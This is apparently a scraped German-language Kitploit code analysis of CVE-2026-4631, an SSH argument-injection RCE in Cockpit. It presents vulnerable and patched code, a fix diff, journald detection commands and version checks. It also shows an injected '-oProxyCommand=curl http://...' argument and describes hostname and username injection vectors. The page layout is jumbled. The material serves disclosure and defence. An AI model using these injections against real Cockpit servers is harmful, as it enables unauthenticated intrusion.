CVE-2026-4631-cockpit-RCE — Cockpit: Nicht authentifizierte Remote-Codeausführung durch SSH-Befehlszeilen-Argumentinjektion | Kitploit

def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNERABLE: No '--' before host
        # If host = "-oProxyCommand=evil", ssh treats it as an option
        destination = ['-p', port, host]

    else:
        #  VULNERABLE: Raw attacker input passed directly to ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← Cockpit-Option
arg2: -oProxyCommand=curl http://...   ←  ALS SSH-OPTION GEPARST (nicht Host)
arg3: python3 -ic '# cockpit-bridge'   ← wird zum "Hostnamen" → löst ProxyCommand aus

    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  FIXED: '--' forces everything after it to be positional
        destination = ['-p', port, '--', host]

    else:
        #  FIXED: '--' separator added
        destination = ['--', dest]

static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extracts everything after "cockpit+=" from the URL path
    //  No character validation — dashes, special chars allowed
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

// cockpit_ws_ssh_program is the spawn command template
//  VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        No trailing '--' means hostname can be parsed
//                        as a flag by Python's argparse (CPython #66623)

static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Decodes Authorization: Basic base64(user:password)
        //  No validation of 'user' — semicolons, special chars allowed
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' is passed into credentials and eventually to 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  unsanitized
                              ...);
}

async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE is not generally available, so use setsid
    process = await asyncio.create_subprocess_exec(
        #  VULNERABLE: hardcoded path + no '--' before destination
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

    process = await asyncio.create_subprocess_exec(
        #  FIXED: PATH lookup instead of hardcoded path + '--' added
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

#!/usr/bin/env python3

import os, sys

# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  VULNERABLE: same root cause — host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

# Check for beiboot spawn with suspicious arguments
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# Check SSH invocations from cockpit-ws user
journalctl _COMM=ssh | grep -v "^--$"

# Check if installed version is vulnerable
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnerable if version is between 327 and 359 inclusive

rpm -q cockpit-ws
# Same version check applies

Ressource	URL
OSS-Security-Offenlegung	https://www.openwall.com/lists/oss-security/2026/04/10/5
GitHub-Sicherheitshinweis	https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
Bugzilla-Problem	https://bugzilla.redhat.com/show_bug.cgi?id=2450246
Fix-Commit (cockpit)	https://github.com/cockpit-project/cockpit/commit/9d0695647
Fix-Commit (ferny)	https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
CPython-argparse-Bug	https://github.com/python/cpython/issues/66623
OpenSSH-9.6-Hostnamen-Validierung	https://github.com/openssh/openssh-portable/commit/7ef3787

CVE-ID	CVE-2026-4631
GHSA	GHSA-m4gv-x78h-3427
Schweregrad	Kritisch (CVSS 9.8)
Betroffene Versionen	Cockpit 327 – 359
Behoben in	Cockpit 360
CWE	CWE-78: OS-Befehlsinjektion
Authentifizierung erforderlich	NEIN
Gemeldet von	Jelle van der Waa

CVE-2026-4631-cockpit-RCE

Beliebteste

CVE-2026-4631 — Code-Analyse

Inhaltsverzeichnis

1. Überblick über die Schwachstelle

2. Architekturhintergrund

Normaler Remote-Login-Ablauf

Was sich in Version 327 geändert hat

3. Ursachenanalyse

Problem 1 — Kein ---Trennzeichen vor dem Hostnamen

Problem 2 — Keine Eingabevalidierung

Problem 3 — Python-argparse-Bug (CPython #66623)

4. Verwundbarer Code — Datei für Datei

4.1 src/cockpit/beiboot.py — Primärer Injektionspunkt

Verwundbarer Code (vor dem Patch)

Wie der resultierende SSH-Aufruf aussieht

Behobener Code (Version 360)

4.2 src/ws/cockpitauth.c — C-Ebene: Hostnamen-Extraktion

Hostnamen-Extraktion aus der URL (ohne Validierung)

Behoben in Version 360

Benutzernamen-Extraktion aus dem Authorization-Header (ohne Validierung)

4.3 vendor/ferny/src/ferny/session.py — Dritter Injektionspunkt

Verwundbarer Code (vor dem Patch)

Behobener Code (Version 360)

4.4 containers/ws/cockpit-auth-ssh-key — Container-Bereitstellungspfad

5. Angriffsvektoren

Vektor 1 — Hostname → ProxyCommand-Injektion

Vektor 2 — Benutzername → %r-Token-Injektion

6. Datenflussdiagramm

7. Patch-Analyse

Patch 1 — src/cockpit/beiboot.py (Commit 9d0695647)

Patch 2 — src/ws/cockpitauth.c (Commit 9d0695647)

Patch 3 — vendor/ferny/src/ferny/session.py (Commit 44ec511c99)

Warum -- das Problem behebt

8. Erkennung

Erkennung auf Netzwerkebene

Protokoll-Erkennung (journald)

Versionsprüfung

9. Angriffsvektoren

Einzelnes Ziel scannen

Mehrere Ziele aus Datei scannen

Mit OOB erkennen

Angriffsvektor 1 — Benutzername → %r-Token-Injektion

Schadensbegrenzung (falls ein Patch nicht sofort möglich ist)

10. Referenzen

Problem 1 — Kein `--`-Trennzeichen vor dem Hostnamen

Problem 3 — Python-`argparse`-Bug (CPython #66623)

4.1 `src/cockpit/beiboot.py` — Primärer Injektionspunkt

4.2 `src/ws/cockpitauth.c` — C-Ebene: Hostnamen-Extraktion

4.3 `vendor/ferny/src/ferny/session.py` — Dritter Injektionspunkt

4.4 `containers/ws/cockpit-auth-ssh-key` — Container-Bereitstellungspfad

Vektor 2 — Benutzername → `%r`-Token-Injektion

Patch 1 — `src/cockpit/beiboot.py` (Commit `9d0695647`)

Patch 2 — `src/ws/cockpitauth.c` (Commit `9d0695647`)

Patch 3 — `vendor/ferny/src/ferny/session.py` (Commit `44ec511c99`)

Warum `--` das Problem behebt